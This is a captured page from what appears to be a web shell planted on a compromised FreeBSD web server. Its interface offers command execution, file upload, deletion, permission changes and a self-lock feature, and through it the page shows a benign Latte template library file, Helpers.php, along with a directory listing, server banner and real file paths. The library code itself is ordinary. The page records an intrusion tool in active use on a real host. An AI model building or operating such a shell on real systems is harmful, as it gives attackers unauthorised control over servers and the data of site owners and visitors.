TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
vendor
latte
latte
src
Latte
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/vendor/latte/latte/src/Latte/Helpers.php
<?php /** * This file is part of the Latte (https://latte.nette.org) * Copyright (c) 2008 David Grudl (https://davidgrudl.com) */ namespace Latte; /** * Latte helpers. * @internal */ class Helpers { /** @var array empty (void) HTML elements */ public static $emptyElements = array( 'img' => 1,'hr' => 1,'br' => 1,'input' => 1,'meta' => 1,'area' => 1,'embed' => 1,'keygen' => 1,'source' => 1,'base' => 1, 'col' => 1,'link' => 1,'param' => 1,'basefont' => 1,'frame' => 1,'isindex' => 1,'wbr' => 1,'command' => 1,'track' => 1, ); /** * Checks callback. * @return callable */ public static function checkCallback($callable) { if (!is_callable($callable, FALSE, $text)) { throw new \InvalidArgumentException("Callback '$text' is not callable."); } return $callable; } /** * Removes unnecessary blocks of PHP code. * @param string * @return string */ public static function optimizePhp($source, $lineLength = 80) { $res = $php = ''; $lastChar = ';'; $tokens = new \ArrayIterator(token_get_all($source)); foreach ($tokens as $n => $token) { if (is_array($token)) { if ($token[0] === T_INLINE_HTML) { $lastChar = ''; $res .= $token[1]; } elseif ($token[0] === T_CLOSE_TAG) { $next = isset($tokens[$n + 1]) ? $tokens[$n + 1] : NULL; if (substr($res, -1) !== '<' && preg_match('#^<\?php\s*\z#', $php)) { $php = ''; // removes empty (?php ?), but retains ((?php ?)?php } elseif (is_array($next) && $next[0] === T_OPEN_TAG && (!isset($tokens[$n + 2][1]) || $tokens[$n + 2][1] !== 'xml')) { // remove ?)(?php if (!strspn($lastChar, ';{}:/')) { $php .= $lastChar = ';'; } if (substr($next[1], -1) === "\n") { $php .= "\n"; } $tokens->next(); } elseif ($next) { $res .= preg_replace('#;?(\s)*\z#', '$1', $php) . $token[1]; // remove last semicolon before ?) if (strlen($res) - strrpos($res, "\n") > $lineLength && (!is_array($next) || strpos($next[1], "\n") === FALSE) ) { $res .= "\n"; } $php = ''; } else { // remove last ?) if (!strspn($lastChar, '};')) { $php .= ';'; } } } elseif ($token[0] === T_ELSE || $token[0] === T_ELSEIF) { if ($tokens[$n + 1] === ':' && $lastChar === '}') { $php .= ';'; // semicolon needed in if(): ... if() ... else: } $lastChar = ''; $php .= $token[1]; } elseif ($token[0] === T_OPEN_TAG && $token[1] === '<?' && isset($tokens[$n + 1][1]) && $tokens[$n + 1][1] === 'xml') { $lastChar = ''; $res .= '<<?php ?>?'; for ($tokens->next(); $tokens->valid(); $tokens->next()) { $token = $tokens->current(); $res .= is_array($token) ? $token[1] : $token; if ($token[0] === T_CLOSE_TAG) { break; } } } else { if (!in_array($token[0], array(T_WHITESPACE, T_COMMENT, T_DOC_COMMENT, T_OPEN_TAG), TRUE)) { $lastChar = ''; } $php .= $token[1]; } } else { $php .= $lastChar = $token; } } return $res . $php; } /** * Finds the best suggestion. * @return string|NULL */ public static function getSuggestion(array $items, $value) { $best = NULL; $min = (strlen($value) / 4 + 1) * 10 + .1; foreach (array_unique($items, SORT_REGULAR) as $item) { $item = is_object($item) ? $item->getName() : $item; if (($len = levenshtein($item, $value, 10, 11, 10)) > 0 && $len < $min) { $min = $len; $best = $item; } } return $best; } }
Crotin
Name
Size
Permissions
Modified
User/Group
Engine.php
8767
0644
2018-07-10 17:51:56
Unknown/Unknown
ILoader.php
521
0644
2016-01-11 22:55:02
Unknown/Unknown
HtmlNode.php
679
0644
2016-01-11 22:55:01
Unknown/Unknown
PhpWriter.php
10515
0644
2018-07-10 17:51:56
Unknown/Unknown
Compiler.php
16920
0644
2018-07-10 17:51:56
Unknown/Unknown
Object.php
2417
0644
2016-01-11 22:55:04
Unknown/Unknown
Parser.php
12066
0644
2018-07-10 17:51:56
Unknown/Unknown
MacroTokens.php
3161
0644
2018-07-10 17:51:56
Unknown/Unknown
Macros
-
0755
2018-07-10 17:52:44
Unknown/Unknown
TokenIterator.php
4768
0644
2018-07-10 17:51:56
Unknown/Unknown
IMacro.php
593
0644
2016-01-11 22:55:02
Unknown/Unknown
Helpers.php
3523
0644
2016-01-11 22:55:02
Unknown/Unknown
Loaders
-
0755
2016-02-27 09:38:08
Unknown/Unknown
Token.php
1245
0644
2016-01-11 22:55:04
Unknown/Unknown
Runtime
-
0755
2018-07-10 17:52:44
Unknown/Unknown
Tokenizer.php
1871
0644
2016-01-11 22:55:04
Unknown/Unknown
exceptions.php
1556
0644
2016-01-11 22:55:04
Unknown/Unknown
Template.php
3098
0644
2018-07-10 17:51:56
Unknown/Unknown
MacroNode.php
1659
0644
2016-01-11 22:55:04
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin